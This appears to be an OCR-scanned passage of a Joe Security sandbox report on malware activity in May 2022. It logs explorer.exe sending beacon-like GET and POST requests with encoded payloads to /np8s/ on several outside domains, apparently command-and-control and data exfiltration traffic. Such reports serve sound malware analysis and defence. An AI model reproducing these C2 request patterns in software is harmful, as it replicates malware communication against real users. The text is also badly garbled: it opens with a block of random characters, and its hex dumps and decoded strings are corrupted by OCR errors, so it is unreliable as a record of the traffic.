21WhL7BFL7_vOPp3mRRtM57W9lycD59txfWS6XW8XONhmtALyHx(r2bZkt36mSyoXgK0QWH7eHVsTVS8axCIQkbuYU
1e8kLr511rHtZNuo-8_WhbDKLMACCxz5UGfSRfnHjwIBRStsXqu6lk3uesf6BK8mymLglLOgSLIH4zJjL Sogj-fwJE3
iUvq9QBBFGQKbwarT5Y YKOmMHGJE9VVIEPQ090~bdZIPhJg5hG5ACsYq~_oPCTI4D7CafmYepm3t2jxOyBVhn2~AAF3
z1yL 7JFqfTxkngwUbpOfkcVLEO0Q4x8DEz_N90qY UQBXyQhf8M1BKk6sYHf4eXCtIXu9-0u8det~FPTyvXyuZZ8GS3
1MOBpcnLIGsgCGA3zosaWXB~WMaU4UfZTaYVZmc7WtZoidOO0_3YctlVUNcTeViuvwCdN84UIAERpK8nNN2QoVJtnjY 1
SPjIWMZjulFJIXjclYgvU~R49vMthnsrF(FYzdLzpZuPRYQYs1WatZwMkXJJViBio8zoBUt8Lk5LZTHwoLi3_1LNZI
n9vjyjHDVyuwN2a15hQA36KGz8QsAnLcZv-ZxQIKUb3YP6HopQYad~zVN1s~rFq5eWg9tH XtQrFSZoA5SGs3fYZGrm
2LS3FSVrN35iBtLA-sJDb5S1atrsxIA5P~w9bYAxC~R9zSLgeR6ZgywCf7-riP2xNex6dt_2qSEtaXVNmPMNF(o2pD
URKpto6UzbiTdQxyddLS2KdNabpORpEH8bdbcaRTfOL37SnBcOM7SslaSIOMMGQLJIsz5k4JVSr66FMkggMSr07gDFF
VLALMSVC9hzysl0QiyMysbHPXMJtP10iQqV7FuXGXJo(H~MuOu7rv97DzX|lrtdevPYBTL2hZjTXZkHxeGg2illPXa
b~vHJ58uPgSiGSjpZFrzKjlgDOWxR7piTgluC4HbwUgp6Xx-u

May 27, 2022 7726 IN HTTP/1.1 404 Not Found
17:28:12.428042889 Date: Fri, 27 May 2022 15:28:11 GMT
CEST Server: Apache

Content-Length: 315

Connection: close

Content-Type: text/html; charset=iso-8859-1

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20
48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6¢ 65 3e 34 30 34 20 4e
6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e Oa 3c 68 31 3e 4e 6f 74 20 46
6f 75 6e 64 3c 2f 68 31 3e Oa 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4¢ 20 77 61 73 20 6e 6f 74 20 66
6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e Oa 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6¢ 6¢C 79
2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20
77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6 74 20 74 6f 20
68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3¢ 2f 70 3e Oa 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e Oa
Data Ascii: <IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title></head>
<body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founde
rror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID Source IP Source Port Destination IP  Destination Port Process
11 192.168.2.3 49831 132.148.165.111 80 C:\Windows\explorer.exe
kB:
Timestamp ytes Direction Data
transferred
May 27, 2022 7726 ouT GET /np8s/?c2MH6DeP=VIrq3lg6CNBS64Mt3BAOFKZFqCoQQX/EchdCgZyJL/t2S6EN96XIkdyy29bgYyDpdikhs&h
17:28:12.333281040 FQL=JXUhrvXxUhF4 HTTP/1.1
CEST Host: www.kishanshree.com

Connection: close
Data Raw: 00 00 00 00 00 00 00

Data Ascii:
May 27, 2022 7727 ouT GET /np8s/?c2MH6DeP=VIrq3lg6 CNBS64Mt3BAOFKZFqCoQQX/EchdCgZyJL/t2S6EN96XIkdyy29bgYyDpdikhs&h
17:28:12.739900112 FQL=JXUhrvXxUhF4 HTTP/1.1
CEST Host: www.kishanshree.com

Connection: close
Data Raw: 00 00 00 00 00 00 00

Data Ascii:
May 27, 2022 7727 ouT GET /np8s/?c2MH6DeP=vIrq3Iqg6 CNBS64Mt3AOFKZFqCoQQX/EchdCgZyJL/t2S6EN96XJIkdyy29bgYyDpdikhs&h
17:28:13.193059921 FQL=JXUhrvXxUhF4 HTTP/1.1
CEST Host: www.kishanshree.com

Connection: close
Data Raw: 00 00 00 00 00 00 00
Data Ascii:
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kBytes

Timestamp T Direction
May 27, 2022 7727 IN
17:28:13.329750061
CEST
Session ID Source IP Source Port
12 192.168.2.3 49836
kByt:
Timestamp yies Direction
transferred
May 27, 2022 7730 ouT
17:28:17.984659910
CEST
May 27, 2022 7731 IN
17:28:18.014986992
CEST
Session ID Source IP Source Port
13 192.168.2.3 49837
Timestamp L Direction
transferred
May 27, 2022 7744 ouT
17:28:18.020008087
CEST

Copyright Joe Security LLC 2022

160.153.136.3 80

160.153.136.3 80

Data

HTTP/1.1 404 Not Found

Date: Fri, 27 May 2022 15:28:12 GMT

Server: Apache

Content-Length: 315

Connection: close

Content-Type: text/html; charset=iso-8859-1

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20
48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0a 3¢ 74 69 74 6¢ 65 3e 34 30 34 20 4e
6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e Oa 3c 68 31 3e 4e 6f 74 20 46
6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4¢ 20 77 61 73 20 6e 6f 74 20 66
6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e Oa 3¢ 70 3e 41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79
2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20
77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20
68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e Oa
Data Ascii: <IDOCTYPE HTML PUBLIC "-/IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title></head>
<body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founde
rror was encountered while trying to use an ErrorDocument to handle the request.</p></body></htm|>

Destination IP Destination Port Process

C:\Windows\explorer.exe

Data

POST /np8s/ HTTP/1.1

Host: www.rasheedabossmoves.com

Connection: close

Content-Length: 414

Cache-Control: no-cache

Origin: http://www.rasheedabossmoves.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://www.rasheedabossmoves.com/np8s/

Accept-Language: en-US

Accept-Encoding: gzip, deflate

Data Raw: 63 32 4d 48 36 44 65 50 3d 6d 74 32 56 4c 69 38 59 6¢ 35 4d 77 54 38 7e 67 7a 74 69 6b 31 39 6a 55 6f 64
30 6d 66 63 78 57 39 38 6¢ 30 37 48 4e 64 37 67 6f 45 42 6b 6b 6b 55 4a 44 55 4f 33 6b 31 4d 6f 53 6d 58 46 61 4d 57
76 49 42 68 73 63 68 78 64 49 4f 44 62 6b 75 61 66 4f 35 69 46 31 4f 70 4a 59 49 6d 37 35 44 42 7a 69 46 4d 7538 79 4
769 6d 54 48 37 32 6¢ 31 5a 43 76 32 5a 68 5a 42 6¢ 62 51 68 79 67 48 39 46 74 71 79 71 4c 6e 77 61 62 67 75 4c 75
50 36 4f 58 46 73 48 66 59 4f 6¢ 55 43 6b 66 67 7a 4d 2d 41 4c 73 30 30 4c 61 62 4d 31 32 49 37 68 37 73 65 45 7e 43
7e 57 6e 6a 37 5f 4e 78 65 31 64 76 42 63 51 34 76 48 69 2d 53 4e 6b 37 47 37 30 31 46 39 64 44 55 30 77 54 63 75 75
41 62 36 63 32 49 4a 54 4c 6d 56 79 55 28 37 66 74 67 72 63 75 46 31 77 59 47 6f 7e 6f 50 78 4a 42 72 37 42 73 45 47
6a 2d 73 78 31 32 65 73 37 77 73 6a 62 65 59 36 33 62 48 6¢ 66 75 79 59 4f 58 55 4a 39 41 38 77 46 7a 61 66 53 48 74
50 71 4b 74 41 6¢ 62 35 52 63 5a 6¢ 62 43 77 44 51 42 6¢ 47 73 69 78 7e 66 6a 7a 4b 48 72 4b 51 41 33 79 31 6b 4f 44
6d 46 41 6a 54 71 6f 50 32 6e 6e 52 4a 64 70 72 4e 79 57 68 69 45 33 55 69 62 58 70 41 57 6d 71 50 72 46 74 48 55 36
57 46 53 67 52 43 50 53 53 6d 59 34 34 66 75 44 2d 54 6e 33 77 46 74 51 51 29 2e 00 00 00 00 00 00 00 00

Data Ascii: c2MH6DeP=mt2VLi8YI5MwT8~gztik19jUodOmfcxW98I07HNd7goEBkkkUIDUO3k1MoSmXFaMWvlJh
schxdlODbkuafO5iF10pJYIm75DBziFMu8yGimTH7211ZCv2ZhZBIbQhygHIFtqyqLnwabgulLuP6OXFsHfY OlUCkfgzM-
ALs00LabM1217h7seE~C~Wnj7_NxeldvBcQ4vHi-SNk7G701F9dDUOWTcuuAb6c2ITLmVyU(7ftgrcuFiwYGo~
0PxJBr7BsEGj-sx12es7wsjbeY63bHIfuyY OXUJ9ABwFzafSHtPqKtAIbSRcZIbCwDQBIGsix~fjzKHrKQA3y1kODm
FAjTqoP2nnRJIdprNyWhiE3UIbXpAWmMqPrFtHUBWFSgRCPSSmY44fuD-Tn3wFtQQ).

HTTP/1.1 400 Bad Request
Connection: close

Destination IP Destination Port Process

C:\Windows\explorer.exe

Data

POST /np8s/ HTTP/1.1

Host: www.rasheedabossmoves.com

Connection: close

Content-Length: 36482

Cache-Control: no-cache

Origin: http://www.rasheedabossmoves.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://www.rasheedabossmoves.com/np8s/

Accept-Language: en-US

Accept-Encoding: gzip, deflate

Data Raw: 63 32 4d 48 36 44 65 50 3d 6d 74 32 56 4c 6e 39 62 72 6f 67 54 4e 38 4354 31 6553 77 7e 7572 42 75 74
78 33 47 34 68 4a 28 2d 4e 67 28 43 6f 6e 38 68 41 53 51 6b 70 45 43 34 4c 63 4f 79 41 63 45 37 32 71 54 6¢ 57 4e 57
76 41336876 77 68 77 63 77 65 44 36 30 49 62 39 57 2d 75 46 31 2d 6f 4a 59 4e 33 71 31 69 42 7a 75 6e 4d 75 46 31
4852 79 54 48 5a 4f 6¢ 39 36 61 65 79 35 68 54 50 47 6a 63 6¢ 79 73 61 39 46 31 79 79 6f 50 6e 77 4b 66 67 6f 62 65
4d 79 74 50 47 32 6e 66 42 4e 56 56 45 72 5f 74 4b 4d 2d 4e 6d 73 31 49 4c 61 70 34 31 33 59 62 68 73 76 32 44 31 53

- Paged44ofs?



Timestam e

P transferred
May 27, 2022 7768
17:28:18.058130026
CEST

Copyright Joe Security LLC 2022

Direction

7e 4t 6a 6a 36 39 63 68 61 6t 64 76 64 59 51 38 32 36 69 4t 32 4e 6¢ 4C 47 34 77 6d 6C 50 61 55 68 79 32 57 49 5a 75
fHhfy 73 63 48 6b 7254 4a 53 70 31 6e 33 75 44 62 4d 56 63 72 56 62 78 34 48 68 78 49 50 36 4a 42 72 69 42 7345 73
6a 2d 63 78 31 33 57 73 37 52 51 6a 4c 66 59 37 70 4c 48 38 4b 65 7a 4c 41 33 59 31 39 45 6f 67 46 7a 79 31 56 32 35
50 717139 41 69 71 35 4f 54 35 6¢ 5a 4e 51 43 47 4b 46 47 6a 69 78 7e 74 6a 79 4c 4b 72 35 6b 41 78 6a 31 6b 4a 6e
47 46 43 54 54 71 32 66 32 70 6f 78 30 47 70 72 31 32 57 6b 47 79 77 6¢ 32 62 58 36 49 57 6e 49 6e 72 47 64 48 55 79
3245 6e 76 79 6e 56 66 54 71 71 34 4b 37 79 55 62 53 5a 6a 56 73 2d 4d 68 48 4e 73 2d 73 47 61 5a 34 50 53 39 6e 74
49 77 46 39 51 7a 62 57 49 4f 69 49 7a 67 46 35 4f 37 70 48 6d 39 79 64 58 59 52 46 4c 62 62 6¢ 5a 72 28 76 65 6d 55
66 57 45 6¢ 4b 50 33 7e 64 50 32 4a 32 4e 38 4f 34 4c 34 78 76 63 3252 73 47 73 48 79 28 67 54 48 4d 43 67 4a 67 4d 6
247445173 43 7a 61 3331 77 77 47 37 68 57 6e 56 7e 37 65 73 44 78 33 65 28 70 38 51 4c 47 53 32 42 47 28 67 53
4c 30 4c 74 36 65 51 47 41 59 49 28 71 35 36 43 52 36 56 31 6a 30 67 4e 4d 5a 6b 32 4b 56 43 61 41 53 64 47 59 74 5f
6b 47 78 6a 58 39 4d 5f 31 70 7e 52 42 4c 55 6f 28 43 4f 41 76 49 37 58 33 58 56 39 63 65 79 4c 41 32 71 73 54 48 39 7a
73 5a 66 79 37 56 33 38 7a 4d 65 44 45 71 71 55 68 74 4b 30 49 76 76 66 4e 55 58 43 4e 72 67 45 78 5a 43 4e 48 33 73
7a 6c 71 4f41 79 74 54 39 6a 66 57 72 38 6d 52 79 63 5a 64 65 76 4e 79 33 70 55 45 51 41 70 67 2d 59 6b 48 78 49 31
76 39 45 34 68 6a 44 50 47 67 63 36 49 6b 78 2d 68 6a 73 41 55 38 53 4b 37 70 32 44 76 67 73 57 47 49 76 56 51 33 52
6C 53 74 34 51 6a 68 6e 54 75 70 70 4b 6e 35 61 41 59 72 47 66 6f 69 4c 4b 65 70 4b 72 4d 51 66 62 49 4c 7a 78 4f 7a
6a 78 39 69 64 74 45 57 47 35 54 4d 36 53 56 37 6b 65 34 68 70 4e 36 43 72 6b 71 63 56 6b 34 38 50 45 45 46 30 33 6a
7531 38 4e 68 7e 4c 69 54 5a 49 67 41 4f 46 33 4a 32 51 53 61 42 46 73 7a 57 35 72 6a 6f 4e 43 79 33 55 65 5f 63 6¢ 38
3658 78 62 39 79 6¢ 46 32 51 32 4a 38 55 39 4d 64 61 58 49 74 6¢ 49 67 5a 73 58 65 76 38 49 41 2d 4a 30 68 6b 36 4d
66 38 39 2d 66 48 73 67 6f 49 6a 65 33 6a 61 36 30 4b 36 74 45 39 77 4f 4d 6b 72 38 51 4e 64 52 77 76 6¢ 56 33 7a 33
61 54 6d 65 54 55 31 4b 46 5a 53 56 77 6d 65 76 47 79 4e 64 62 74 57 52 4d 48 6f 71 49 52 57 47 30 78 37 6f 70 39 33 6
37a333275 7530 6a 3250 39 49 4b 44 45 38 73 66 6d 2d 4e 4f 65 49 71 73 28 30 68 37 51 4f 48 4d 75 5f 47 3347 71
54 65 61 71 32 61 7a 56 79 37 4e 6¢ 54 49 32 55 6a 64 70 59 50 4b 4b 43 5a 4b 66 64 39 2d 48 35 53 58 78 38 70 47 7a
5228 713144325630 71 4e 43 6b 57 61 6d 4a 63 34 76 51 45 7e 46 42 72 76 79 44 57 42 6f 66 61 4e 47 61 68 4b 5f
6C 69 4e 32 4c 43 73 51 7a 4d 79 64 6d 43 38 53 63 78 4b 50 38 6f 7e 58 46 59 6a 38 4d 5a 70 58 71 45 7a 63 69 62 72
57 79 36 70 52 71 56 56 4d 36 4c 46 4c 32 33 36 75 55 56 34 4d 30 52 45 5a 57 42 50 6d 47 59 79 7a 59 73 62 46 45 7a
74 2d 34 49 74 34 54 53 6e 4e 4f 5f 42 35 72 57 75 6d 74 41 75 6d 54 4c 37 48 72 7a 41 2d 42 39 45 76 68 47 6f 55 34
67 6d 58 31 4e 46 79 4c 4b 4d 43 6b 6b 31 48 37 54 7a 55 50 49 53 6b 68 64 6f 7a 5a 55 52 68 35 51 64 6a 52 4d 50 36
53 4e 72 4d 69 63 4f 52 45 4b 69 37 35 6b 50 70 74 54 68 33 46 72 67 31 66 4e 50 65 50 39 31 51 7e 61 55 54 69 48 74
6a 30 58 77 58 31 76 33 30 4a 57 7e 4d 4d 4f 49 32 31 5a 41 36 74 57 4c 45 58 73 70 6¢ 77 7a 51 42 4c 41 74 2d 71 37
57 6¢c 74 76 38 41 63 53 66 41 46 6d 59 4d 48 75 4b 52 63 47 34 67 61 6f 52 58 5a 74 28 71 6e 30 73 39 50 33 31 57
Data Ascii: c2MH6DeP=mt2VLn9brogTN8CT1eSw~urButx3G4hJ(-Ng(Con8hASQkpEC4LcOyAcE72qTIWNWVA3h
vwhweweD60Ib9W-uF1-0JYN3qliBzunMuF1HRYTHZOI96aey5h TPGjclysa9F 1yyoPnwKfgobeMytPG2nfBNVVEr_tKM-
Nms1iLap413Ybhsv2D1S~0jj69chaodvdYQ826i02NILG4wmIPaUhy2WIZuAWscHkrTISp1ln3uDbMVerVbx4Hhx
IP6JBIBSEsj-cx13Ws7RQjLfY 7pLH8KezLA3Y 19E0gFzy1V25Pqq9Aiq50T5IZNQCGKFGjix~tyLKr5kAxj1knG
FCTTq2f2pox0Gpr12WkGywl2bX6IWnInrGdHUy2EnvynVfTqq4K7yUbSZjVs-MhHNs-sGaZ4PS9ntiwF9QzbWIOilz
gF507pHM9ydXYRFLbbIZr(vemUfWEIKP3~dP2J2N804L4xvc2RsGsHy(gTHMCgJgMbGDQsCza31wwG7hWnV~7esDx3
e(P8QLGS2BG(gSLOLIBEQGAYI(q56CR6V1j0gNMZK2KVCaASdGYt_kGXjX9M_1p~RBLUO(COAVI7X3XV9ceyl A2qsT
H9zsZfy7V38zMeDEqqUhtKOIVWNUXCNrgExZCNH3szlgOAytT9jfWr8mRycZdevNy3pUEQApg-YkHxI1v9E4h|DPG
gc6lkx-hjsAUBSK7p2DvgsWGIVVQ3RISt4QjhnTuppKn5aAYrGfoiLKepKrMQfblLzxOzjx9idtEWG5TM6SV7ke4hp
N6CrkqcVk48PEEF03jul8Nh~LiTZIgAOF3J2QSaBFszW5rjoNCy3Ue_cl86Xxb9yIF2Q2J8U9MdaxXItligZsXev8IA-
JOhk6Mf89-fHsgolje3ja60K6tEIWOMkr8QNdRwvIV3z3aTmeTU1KFZSVwmevGyNdbtWRMHogqIRWG0x70p93cz32u
u0j2P9IKDE8sfm-NOelgs(0h7QOHMu_G3GqTeaq2azVy7NITI2UjdpYPKKCZKfd9-H5SXx8pGzR (q1D2VOgNCkWamJ
c4vQE~FBrvyDWBofaNGahK_liIN2LCsQzMydmC8ScxKP8o~XFY|j8MZpXgEzcibrwy6pRqVVM6ELFL236uU
VAMOREZWBPMGYyzYsbFEzt-41t4TSnNO_B5rWumtAumTL7HrzA-B9EvhGoU4gmX1NFyLKMCkk1H7TzUPISkhdozZUR
h5QdjRMP6SNrMicOREKIi75kPptTh3Frg1fNPeP91Q~aUTiHtjOXwX1v30JW~MMOI21ZA6tWLEXsplwzQBLAt-7WIt
VBACSTAFMYMHUKRcG4gaoRXZt(qn0s9P31Wx6sALoJwfeKXmKCEF3DIBT1DYjSTuXgzkRD9J18RsNjvYejCd-Z7S0J
5WYHvc7QHRVkso6WhzDYsH_jzwyv1jMr4(q7mokejg_G2R3xoP CxHGjZQjUi4zsjiP-h6zQISBIPrcylZcbxC1SEBS
n9BV2YmMCTV3A80PIku2JEKVZSUWaRkzXS1jBPjrnxa4KTf54aGg2KoP591154~1IthdMgdmfsJEtJUZfOfoTOkh4_m
Z0tmTHSmMZzO0WONZz5k7yZU724ydopTMDR~Y (veWSSiX3fj1uQkAIWGaCnz2IrQK40ZbkSNTMXqpwDffaCW4nYxHmMITCF
6Z0THXZ9X1yaM8vzdLNKoXf(-Ze2-PGalOGLvsreCeSRnrlIpLRLhNEo3aregTeUwYS(PYio-QHP7~G(Db8L5chbZyD
YdYYOHcvItV~jnV4P8ELGHsUJhlafxtuH5IMFOgm75jxqcd(Xs9kKy4d8F1RKr9SdRI8ggfz90vgjlngleyuan98Vq
2ubhYgerNyR3mcraHtwmy9eZvrLvF1D(nRLDJingTnz8Wvlajl5bb2L8jMGwEi8almdzYb9FAUCSNYxx30Lmg98GpR
wKcVDXUIP(dbzEanJu8djVyHit5sfX2P9(skCDrZMhAssufD-axEZXMGIWBCxc1~ySgbSL-R7DWVnOzIk1-6291zCT
pyX~5~kRfqV8ZfKi_WL8tZZfi~pN66 DMe9sfx2jux7AisPqRcd7030VVIu54y02v4gMY_40p1tIS_nYJIHoeUUxwzpP
IE9c3ct3GKAYMXLp08gDjoXNN1HIMvmwBJIU1L5rMcIsEf46F-NKDAOQY6jo69Xjid504ZobaUlgFvIP17RUMffgTS6
19YFpwKJ6hJzUoPUgPeWx3D0skBEpSIzG(GF6KZNpE9dMzT1I9XaedHIIIZRcIEZWyEcacyqFDwvL3ILY STmX4Jbaf
SwSDWuSJh~mXmjbbgXMXQevbMtkXbueFWKkWAXAXnNK7DvXYMHDXzn5uG9FwotBsk64sGSs~_Ic8nBnj2RL3JithVd8g
GGI3n(3gj7cRZDnX3fwTBgq(bIRNThzjONO(SRNbCsCUSmMWOH~D2ltseXCvGZD40f00ANNqJ-vmGelAh9IMZKBzs7TG
RWFFxDIRJBLrbMMFNRK8J3wBK~OKWWex409DDwTyAdINFCBIjnSOPDJeOjIGh~CQ6vUfiNxXdu7xMgzhgkgPkuitLH
IMUWATArEe4Lp5Tpw7EAPTBCVYmpl~MLOSMIF5b7_34Scch2EYLbglsmJsa(_DsBKv4Ng(gHcKJIBaAyIS4dS0xf4rS
73WVOLNEluyRHPGOtCOzWzB6U1QQzoNqy0OAbYhHNhplulM2B0Ok6I13UwWJEimo~hOHoSunQsAfCTfCVwg
T5WAGOr3M(z7fgW108lY Ey90LojfwWtwPM6a0zfEmWolBy7TAEB1OWpJShqoHYNINCMJIAMu135P1XeC
pmHAMCcoAHfRKO5E3p(602xysFVRCEISNcY3dK68NGUOPYIzKEBNvaMmw5XLGUCV~WpQ2WnzTx9-uGBquU
fiBt85CS62kz0AaQ94RXKhmyQNSqJIK50C|BXIZg1A(rATL4dP270Bq7xs09amU5Y CKkqraE8VAfTrRCNyJ_WneLWDf
SoMiYLKWmS3LhJY8y0T5GCswvq6X7RQ(1H-~kM-0qCdpCnCLSzD3zLYMZhZI7hzh6AMTT8QadWQX5AQH
FWRd7z5n6McjaEzqoDKa0mKC-ad~g~Fel6p0WsJIHEfWH93u~01j6MUhnOfMGjSCukLOvs5HIRzzhRG0abLO0IMa~DS
mLO2yXNgKPX6qVoijodEjy8k3AiXrueeZUwvC~rglu71_qG66HdD4zpLoXyfprgMiK-FLCJ4neT~p9QsZRZTWLY5gE
Vvtu56T22wVBIWO(pU4HKoS(SwISDgBg_Ks~G9X50IPhY7i6lgpOCd3T7dolaljxCxNQloxMI9JghESTAX _IgRASVF
de3kaR0iyim7RMIurRTv2Un5uoCgSZhDrCjeerlJI16dTaDBHMTm041~SmUCwgm12U4r0J5GZJO90EJvLD26pc3bz0
00T0zCT92YGljU_zJ1goZcyxNZOGHLKzvILf7LWNNBm(dnBszG3bjbekUq6tnvAIBJYuY9SKY5yyv5K8ivITxnrKkb
BfaTQXNUWIbr5GVXNuOOEPWAh8xkpUdJoZrU20TeV9txH58P87_08(IfKYmI-MbunXCxkAOvicULpTaGu947q0XI-p
n309sdyi2rEEVdCVrIDYu3cDxrk50kLnuZQIp0-O6abWGW67BxzfeR8ATNmMWYTGIILAUqDXJIfIPIL7O0e8KH(Vich
HpxZBaiUgYquYBUolxyUfObOVOvVBIcSDQAEpa6LmfWn48K9suwO(tZfEi~fdnXKX8~ss9HxK1SoFR0i8aH6JBjSQvp
JISKhmuEF9fow8hkHTOwqUbuWoghUNwFg4891iB~RIfhxWxG8QC~kSyu8bdmUavNUbHoNoWh3GUcYgLx6Wdz7SUc6p
XuF6YUJIWhte2biYJIRhZi7zAvakoPYAKdMFD1w9Cd9TOaH34e]Sdtf7wG2KFxXKEIZRqwKQPcO~ByDMAYWUvLeN1V-s
H7eglttiggCJ7VIWFgOfgiXIc6PWXkzespoglaDtyejMWq2Vy4 XF3(F(n5rvStxIZf7RPtgOh3wGXMquO4Vy1lvhGK3M6_TiJ8B

HTTP/1.1 301 Moved Permanently
location: https://rasheedabossmoves.com/np8s/
Vary: Accept-Encoding

Server: DPS/1.13.2

X-Siteld: 4000

Set-Cookie: dps_site_id=4000; path=/
Date: Fri, 27 May 2022 15:28:18 GMT
Connection: close

Transfer-Encoding: chunked

Data Raw: 30 0d Oa 0d Oa

Data Ascii: 0
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Session ID

14

Timestamp

May 27, 2022
17:28:18.048566103
CEST

May 27, 2022
17:28:18.078677893
CEST

Session ID

15

Timestamp

May 27, 2022
17:28:23.310956001
CEST

May 27, 2022
17:28:23.504209995
CEST

Session ID

16

Timestamp

May 27, 2022
17:28:23.535881996
CEST

Source IP

192.168.2.3

kBytes
transferred

7768

7768

Source IP

192.168.2.3

kBytes
transferred

7896

7938

Source IP

192.168.2.3

kBytes
transferred

7951

Copyright Joe Security LLC 2022

Source Port

49838

Direction

ouT

Source Port

49842

Direction

ouT

Source Port

49844

Direction

ouT

Destination IP

160.153.136.3 80

Destination IP

134.122.201.217 80

Destination Port Process

C:\Windows\explorer.exe

Data

GET /np8s/?c2MH6DeP=pvCvVC1srqMzTu3vjZ/Pi4S7puQ7WY IroZs2vwEH9SE4BkgUFASEMyF7QpXUX37idvZ6&h
FQL=JXUhrvXxUhF4 HTTP/1.1

Host: www.rasheedabossmoves.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 400 Bad Request
Connection: close

Destination Port Process

C:\Windows\explorer.exe

Data

POST /np8s/ HTTP/1.1

Host: www.o70iwlp.xyz

Connection: close

Content-Length: 414

Cache-Control: no-cache

Origin: http://www.o70iwlp.xyz

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://www.o70iwlp.xyz/np8s/

Accept-Language: en-US

Accept-Encoding: gzip, deflate

Data Raw: 63 32 4d 48 36 44 65 50 3d 5a 67 43 72 46 35 79 32 45 73 4d 42 52 64 35 50 48 77 34 51 53 30 31 32 4d 78
36 4542 48 64 32 74 45 33 38 37 67 51 35 7e 52 62 39 77 45 66 71 4d 37 35 4b 6d 57 7e 31 50 50 76 38 74 49 4a 47 57
49 36 43 68 35 41 49 72 70 43 79 42 52 5a 66 35 48 30 6 57 77 43 41 32 34 38 66 59 6f 41 45 35 68 57 61 45 715231 3
6 4f 62 5f 64 72 48 4c 41 39 4d 48 70 7a 57 41 6a 75 78 70 61 4d 38 6e 51 62 4d 32 72 6f 6b 4f 51 69 32 51 77 51 6a 47
79 65 64 62 55 79 45 42 53 6b 6a 76 7e 54 63 4c 30 63 78 30 6d 75 45 6a 28 6d 34 4¢c 73 73 71 4b 54 74 4d 4f 7e 76 72
48 44 32 4c 4d 41 5f 4e 76 43 4e 36 75 5a 33 37 54 69 35 71 34 39 64 4b 51 79 38 4a 61 28 52 35 78 36 7341 37 72 79
49 71 50 37 35 48 4c 73 4d 6e 50 5a 76 72 48 66 72 32 57 51 74 64 47 59 7e 50 4a 6¢ 59 42 55 45 4a 62 70 4e 33 74 31
5f 50 30 30 45 42 69 36 4b 6e 56 77 7a 6a 73 35 49 6a 41 6d 44 34 43 71 79 62 71 79 31 53 35 4a 56 79 53 6b 46 70 77
78 70 53 65 79 68 5a 42 69 49 6d 30 28 5f 37 41 32 6¢ 4d 66 55 36 77 50 6¢ 4a 64 4e 32 74 69 59 50 30 4c 39 64 6a 6b
56 6f41 7e 46 51 53 30 47 59 72 41 53 35 77 39 4f 55 58 75 47 63 37 79 45 46 47 28 4e 72 43 4b 62 79 38 4c 75 64 51
56 63 76 72 30 51 4e 50 52 72 62 58 32 66 69 4b 7e 71 69 57 73 65 28 41 29 2e 00 00 00 00 00 00 00 00

Data Ascii: c2MH6DeP=ZgCrF5y2EsMBRA5PHwW4QS012Mx6EBHA2tE3879Q5~RbIWEfqM75KmW~1PPVv8tIJIGWIECh
5AIrpCyBRZf5H00WwWCA248fYoAEShWaEqR160b_drHLAIMHpzWAjuxpaM8nQbM2rokOQi2QwQjGyedbUyEBSkjv~Tc
LOcXOmMUEj(m4LssgKTtMO~vrHD2LMA_NvCN6uZ37Ti5q49dKQy8Ja(R5x6sA7rylqP75HLSMnPZvrHfr2WQtdGY~PJ
IYBUEJbpN3t1l_POOEBi6KnVwzjs5ljAmD4Caqybay1S5IVySkFpwxpSeyhZBilmO(_7A2IMfUBWPIJAN2tiYPOL9djk
